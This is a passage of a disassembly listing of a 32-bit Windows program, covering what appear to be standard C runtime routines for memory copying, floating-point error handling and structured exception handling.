		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C4A8:				; CODE XREF: sub_41C310+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41C4DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41C4D0:				; CODE XREF: sub_41C310+1B1j
					; sub_41C310+208j ...
		neg	ecx
		jmp	dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C4DC:				; CODE XREF: sub_41C310+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41C4F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C4F4:				; CODE XREF: sub_41C310+1D6j
					; DATA XREF: sub_41C310+1DDr
		jmp	off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	ch, al
		inc	ecx
		add	[eax], ch
		lds	eax, [ecx+0]
		push	eax
		lds	eax, [ecx+0]
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		movsb
		lds	eax, [ecx+0]
		lodsb
		lds	eax, [ecx+0]
		mov	ah, 0C5h
		inc	ecx
		add	[ebp+eax*8-3A3BFFBFh], bh
		inc	ecx
		add	ah, cl
		lds	eax, [ecx+0]
		aam	0C5h
		inc	ecx


loc_41C59F:				; DATA XREF: sub_41C310+1C2r
		add	bh, ah
		lds	eax, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C5E7:				; CODE XREF: sub_41C310+1C2j
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41C5F0	dd offset loc_41C600	; DATA XREF: sub_41C310+1B7r
					; sub_41C310:loc_41C4F4r ...
		dd offset loc_41C608
		dd offset loc_41C618
		dd offset loc_41C62C
; ---------------------------------------------------------------------------


loc_41C600:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C608:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C618:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C62C:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41C310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_40BFEB+40p
					; ___:0040E29Fp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41AFE0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420510
		add	esp, 10h
		leave
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C679(double)

sub_41C679	proc near		; CODE XREF: sub_40D030+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A2C0
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C6FF
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C6E2
		cmp	eax, 2
		jle	short loc_41C6D4
		cmp	eax, 3
		jnz	short loc_41C6E2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6D4:				; CODE XREF: sub_41C679+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6E2:				; CODE XREF: sub_41C679+3Aj
					; sub_41C679+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41C73C
; ---------------------------------------------------------------------------


loc_41C6FF:				; CODE XREF: sub_41C679+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C722


loc_41C714:				; CODE XREF: sub_41C679+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C722:				; CODE XREF: sub_41C679+99j
		test	bl, 20h
		jnz	short loc_41C714
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41C73C:				; CODE XREF: sub_41C679+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C744:				; CODE XREF: sub_41C679+59j
					; sub_41C679+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C679	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C748	proc near		; CODE XREF: ___:0041B78Dp
					; sub_4218B2+21p
					; DATA XREF: ...
		call	sub_41C760
		call	sub_4218B2
		mov	dword_4DB2FC, eax
		call	sub_421862
		fnclex
		retn
sub_41C748	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41C760	proc near		; CODE XREF: sub_41C748p
		mov	eax, offset sub_421CA0
		mov	off_43C8D4, offset sub_421935
		mov	off_43C8D0, eax
		mov	off_43C8D8, offset sub_42199B
		mov	off_43C8DC, offset sub_4218DB
		mov	off_43C8E0, offset sub_421983
		mov	off_43C8E4, eax
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C798	proc near		; CODE XREF: sub_40D030+1Bp
					; sub_40D030+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41C798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C7BF(double)

sub_41C7BF	proc near		; CODE XREF: sub_40D07C+82p
					; ___:0040DD3Cp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A2D8
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C845
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C828
		cmp	eax, 2
		jle	short loc_41C81A
		cmp	eax, 3
		jnz	short loc_41C828
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C81A:				; CODE XREF: sub_41C7BF+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C828:				; CODE XREF: sub_41C7BF+3Aj
					; sub_41C7BF+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41C882
; ---------------------------------------------------------------------------


loc_41C845:				; CODE XREF: sub_41C7BF+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C868


loc_41C85A:				; CODE XREF: sub_41C7BF+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C868:				; CODE XREF: sub_41C7BF+99j
		test	bl, 20h
		jnz	short loc_41C85A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41C882:				; CODE XREF: sub_41C7BF+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C88A:				; CODE XREF: sub_41C7BF+59j
					; sub_41C7BF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C7BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C88E	proc near		; CODE XREF: ___:00422182p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41C88E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41C8C2	proc near		; CODE XREF: sub_4222C2+199p
					; sub_422486+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_4222C2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41C8D0	proc near		; CODE XREF: sub_41CA82+5Cp
					; sub_422111:loc_422142p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41C8F8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42675C
sub_41C8D0	endp

; ---------------------------------------------------------------------------


loc_41C8F8:				; DATA XREF: sub_41C8D0+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_41C91F:				; CODE XREF: ___:00426DFCj
					; ___:00426E19j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421D16
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C955	proc near		; CODE XREF: sub_42218C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41C9A9
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422510
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41C955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9A9	proc near		; DATA XREF: sub_41C955+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		pop	ebp
		retn
sub_41C9A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9CE	proc near		; CODE XREF: sub_421F58+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41CA82
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41CA54
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DB354
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41CA54:				; DATA XREF: sub_41C9CE+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41CA71
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------


loc_41CA71:				; CODE XREF: sub_41C9CE+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41CA7A:				; CODE XREF: sub_41C9CE+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C9CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA82	proc near		; DATA XREF: sub_41C9CE+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41CAA5
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41CAF2
; ---------------------------------------------------------------------------


loc_41CAA5:				; CODE XREF: sub_41CA82+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41CAE3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41C8D0
; ---------------------------------------------------------------------------


loc_41CAE3:				; CODE XREF: sub_41CA82+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41CAF2:				; CODE XREF: sub_41CA82+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAF7	proc near		; CODE XREF: sub_421DB1+C6p
					; sub_421F58+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41CB4E


loc_41CB15:				; CODE XREF: sub_41CAF7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB1F
		call	sub_4225B2


loc_41CB1F:				; CODE XREF: sub_41CAF7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41CB34
		cmp	ecx, [eax+8]
		jle	short loc_41CB39


loc_41CB34:				; CODE XREF: sub_41CAF7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB45


loc_41CB39:				; CODE XREF: sub_41CAF7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41CB45:				; CODE XREF: sub_41CAF7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41CB15
		mov	eax, [ebp+var_4]


loc_41CB4E:				; CODE XREF: sub_41CAF7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41CB62
		cmp	esi, eax
		jbe	short loc_41CB67


loc_41CB62:				; CODE XREF: sub_41CAF7+65j
		call	sub_4225B2


loc_41CB67:				; CODE XREF: sub_41CAF7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41CAF7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41CB74	proc near		; CODE XREF: sub_4234B8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41CB8C
		push	[ebp+arg_0]
		call	sub_42675C
sub_41CB74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB8C	proc near		; DATA XREF: sub_41CB74+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CB8C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CB94	proc near		; DATA XREF: sub_41CBB6+Ao
					; sub_41CC1E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41CBB5
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41CBB5:				; CODE XREF: sub_41CB94+10j
		retn
sub_41CB94	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBB6	proc near		; CODE XREF: sub_422232+Dp
					; sub_4234B8+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41CB94
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41CBD3:				; CODE XREF: sub_41CBB6:loc_41CC0Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CC10
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41CC10
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41CC0E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41CC4A
		call	dword ptr [ebx+esi*4+8]


loc_41CC0E:				; CODE XREF: sub_41CBB6+44j
		jmp	short loc_41CBD3
; ---------------------------------------------------------------------------


loc_41CC10:				; CODE XREF: sub_41CBB6+2Aj
					; sub_41CBB6+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CBB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC1E	proc near		; CODE XREF: sub_422252+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41CB94
		jnz	short locret_41CC40
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41CC40
		mov	eax, 1

locret_41CC40:				; CODE XREF: sub_41CC1E+10j
					; sub_41CC1E+1Bj
		retn
sub_41CC1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC41	proc near		; CODE XREF: sub_422510+1Ep
					; sub_422510+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A2DC
		jmp	short loc_41CC54
sub_41CC41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC4A	proc near		; CODE XREF: sub_41CBB6+4Fp
					; sub_4234B8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A2DC
		mov	ecx, [ebp+8]


loc_41CC54:				; CODE XREF: sub_41CC41+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41CC4A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41CC64	proc near		; CODE XREF: sub_40D07C+5p
					; sub_40D21E+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41CC64	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CC83	proc near		; CODE XREF: sub_40D6B3+26p
					; ___:004264F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B0B1
		pop	ecx
		retn
sub_41CC83	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC90	proc near		; CODE XREF: sub_40D724+3Ap
					; sub_41DEA2+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CCB0
		cmp	edi, eax
		jb	loc_41CE28


loc_41CCB0:				; CODE XREF: sub_41CC90+16j
		test	edi, 3
		jnz	short loc_41CCCC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------


loc_41CCCC:				; CODE XREF: sub_41CC90+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CCE4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------


